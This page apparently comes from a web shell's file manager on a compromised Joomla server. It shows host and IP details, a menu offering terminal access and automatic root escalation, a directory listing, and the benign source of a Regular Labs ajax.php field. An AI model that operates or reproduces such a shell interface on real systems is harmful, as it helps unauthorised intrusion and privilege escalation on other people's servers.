Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
vnsm /
libraries /
regularlabs /
fields /
Delete
Unzip
Name
Size
Permission
Date
Action
accesslevel.php
2.45
KB
-rw-r--r--
2026-06-10 18:30
agents.php
4.13
KB
-rw-r--r--
2026-06-10 18:30
ajax.php
5.46
KB
-rw-r--r--
2026-06-10 18:30
akeebasubs.php
1.25
KB
-rw-r--r--
2026-06-10 18:30
assignmentselection.php
4.17
KB
-rw-r--r--
2026-06-10 18:30
block.php
2.15
KB
-rw-r--r--
2026-06-10 18:30
checkbox.php
2.97
KB
-rw-r--r--
2026-06-10 18:30
codeeditor.php
2.39
KB
-rw-r--r--
2026-06-10 18:30
color.php
1.92
KB
-rw-r--r--
2026-06-10 18:30
components.php
4.11
KB
-rw-r--r--
2026-06-10 18:30
conditionselection.php
4.46
KB
-rw-r--r--
2026-06-10 18:30
content.php
3.04
KB
-rw-r--r--
2026-06-10 18:30
customfieldkey.php
1.49
KB
-rw-r--r--
2026-06-10 18:30
customfieldvalue.php
1.39
KB
-rw-r--r--
2026-06-10 18:30
datetime.php
1.47
KB
-rw-r--r--
2026-06-10 18:30
dependency.php
2.98
KB
-rw-r--r--
2026-06-10 18:30
easyblog.php
2.42
KB
-rw-r--r--
2026-06-10 18:30
editor.php
1.11
KB
-rw-r--r--
2026-06-10 18:30
field.php
1.89
KB
-rw-r--r--
2026-06-10 18:30
filelist.php
3.25
KB
-rw-r--r--
2026-06-10 18:30
flexicontent.php
1.64
KB
-rw-r--r--
2026-06-10 18:30
form2content.php
1.21
KB
-rw-r--r--
2026-06-10 18:30
geo.php
109.59
KB
-rw-r--r--
2026-06-10 18:30
grouplevel.php
2.59
KB
-rw-r--r--
2026-06-10 18:30
header.php
4.06
KB
-rw-r--r--
2026-06-10 18:30
header_library.php
1.91
KB
-rw-r--r--
2026-06-10 18:30
hikashop.php
2.95
KB
-rw-r--r--
2026-06-10 18:30
icons.php
4.09
KB
-rw-r--r--
2026-06-10 18:30
isinstalled.php
1.04
KB
-rw-r--r--
2026-06-10 18:30
k2.php
3.6
KB
-rw-r--r--
2026-06-10 18:30
key.php
3.21
KB
-rw-r--r--
2026-06-10 18:30
languages.php
2.02
KB
-rw-r--r--
2026-06-10 18:30
license.php
1.04
KB
-rw-r--r--
2026-06-10 18:30
list.php
2.16
KB
-rw-r--r--
2026-06-10 18:30
loadlanguage.php
1.13
KB
-rw-r--r--
2026-06-10 18:30
menuitems.php
3.73
KB
-rw-r--r--
2026-06-10 18:30
mijoshop.php
3.79
KB
-rw-r--r--
2026-06-10 18:30
modules.php
7.04
KB
-rw-r--r--
2026-06-10 18:30
note.php
2.66
KB
-rw-r--r--
2026-06-10 18:30
onlypro.php
2.69
KB
-rw-r--r--
2026-06-10 18:30
plaintext.php
1.41
KB
-rw-r--r--
2026-06-10 18:30
range.php
1.5
KB
-rw-r--r--
2026-06-10 18:30
redshop.php
3.72
KB
-rw-r--r--
2026-06-10 18:30
regions.txt
149.88
KB
-rw-r--r--
2026-06-10 18:30
showon.php
1.18
KB
-rw-r--r--
2026-06-10 18:30
simplecategories.php
3.48
KB
-rw-r--r--
2026-06-10 18:30
subform.php
876
B
-rw-r--r--
2026-06-10 18:30
tags.php
2.9
KB
-rw-r--r--
2026-06-10 18:30
templates.php
3.72
KB
-rw-r--r--
2026-06-10 18:30
text.php
2.12
KB
-rw-r--r--
2026-06-10 18:30
textareaplus.php
3.98
KB
-rw-r--r--
2026-06-10 18:30
toggler.php
3.58
KB
-rw-r--r--
2026-06-10 18:30
users.php
2.69
KB
-rw-r--r--
2026-06-10 18:30
version.php
1.81
KB
-rw-r--r--
2026-06-10 18:30
virtuemart.php
4.18
KB
-rw-r--r--
2026-06-10 18:30
zoo.php
4.48
KB
-rw-r--r--
2026-06-10 18:30
Save
Rename
<?php /** * @package Regular Labs Library * @version 23.9.3039 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\Language\Text as JText; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\Field; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; class JFormFieldRL_Ajax extends Field { public $type = 'Ajax'; protected function getInput() { RL_Document::loadMainDependencies(); $class = $this->get('class', 'btn'); if ($this->get('disabled')) { return $this->getButton($class . ' disabled', 'disabled'); } $loading = 'jQuery("#' . $this->id . ' span:nth-child(1)").attr("class", "icon-refresh icon-spin");'; $success = ' jQuery("#' . $this->id . '").removeClass("btn-warning").addClass("btn-success"); jQuery("#' . $this->id . ' span:nth-child(1)").attr("class", "icon-ok"); if(data){ jQuery("#message_' . $this->id . '").addClass("alert alert-success alert-noclose alert-inline").html(data); } '; $error = ' jQuery("#' . $this->id . '").removeClass("btn-success").addClass("btn-warning"); jQuery("#' . $this->id . ' span:nth-child(1)").attr("class", "icon-warning"); if(data){ let error = data; if(data.statusText) { error = data.statusText; if(data.responseText.test(/<blockquote>/)) { error = data.responseText.replace(/^[.\\\\s\\\\S]*?<blockquote>([.\\\\s\\\\S]*?)<\\\\/blockquote>[.\\\\s\\\\S]*$/gm, "$1"); } } jQuery("#message_' . $this->id . '").addClass("alert alert-danger alert-noclose alert-inline").html(error); }'; if ($this->get('success-disabled')) { $success .= ' jQuery("#' . $this->id . '").disabled = true; jQuery("#' . $this->id . '").addClass("disabled"); jQuery("#' . $this->id . '").attr("onclick", "return false;"); '; } if ($this->get('success-text') || $this->get('error-text')) { $success_text = $this->get('success-text', $this->get('text')); $error_text = $this->get('error-text', $this->get('text')); $success .= ' jQuery("#' . $this->id . ' span:nth-child(2)").text("' . addslashes(JText::_($success_text)) . '"); '; $error .= ' jQuery("#' . $this->id . ' span:nth-child(2)").text("' . addslashes(JText::_($error_text)) . '"); '; } $query = ''; $url_query = $this->get('url-query'); if ($url_query) { $name_prefix = $this->form->getFormControl() . '\\\[' . $this->group . '\\\]'; $id_prefix = $this->form->getFormControl() . '_' . $this->group . '_'; $query_parts = []; $url_query = explode(',', $url_query); foreach ($url_query as $url_query_part) { [$key, $id] = explode(':', $url_query_part); $el_name = 'document.querySelector("input[name=' . $name_prefix . '\\\[' . $id . '\\\]]:checked")'; $el_id = 'document.querySelector("#' . $id_prefix . $id . '")'; $query_parts[] = '`&' . $key . '=`' . ' + encodeURI(' . $el_name . ' ? ' . $el_name . '.value : (' . $el_id . ' ? ' . $el_id . '.value' . ' : ""))'; } $query = '+' . implode('+', $query_parts); } $script = 'function loadAjax' . $this->id . '() { ' . $loading . ' jQuery("#message_' . $this->id . '").attr("class", "").html(""); RegularLabsScripts.loadajax( `' . addslashes($this->get('url')) . '`' . $query . ', ` if(data == "" || data.substring(0,1) == "+") { data = data.trim().replace(/^[+]/, ""); ' . $success . ' } else { data = data.trim().replace(/^[-]/, ""); ' . $error . ' }`, `' . $error . '` ); }'; $script = preg_replace('#\s*\n\s*#', ' ', $script); JFactory::getDocument()->addScriptDeclaration($script); $attributes = 'onclick="loadAjax' . $this->id . '();return false;"'; return $this->getButton($class, $attributes); } private function getButton($class = 'btn', $attributes = '') { $icon = $this->get('icon', '') ? 'icon-' . $this->get('icon', '') : ''; return '<button id="' . $this->id . '" class="' . $class . '"' . ' title="' . JText::_($this->get('description')) . '"' . ' ' . $attributes . '>' . '<span class="' . $icon . '"></span> ' . '<span>' . JText::_($this->get('text', $this->get('label'))) . '</span>' . '</button>' . '<div id="message_' . $this->id . '"></div>'; } }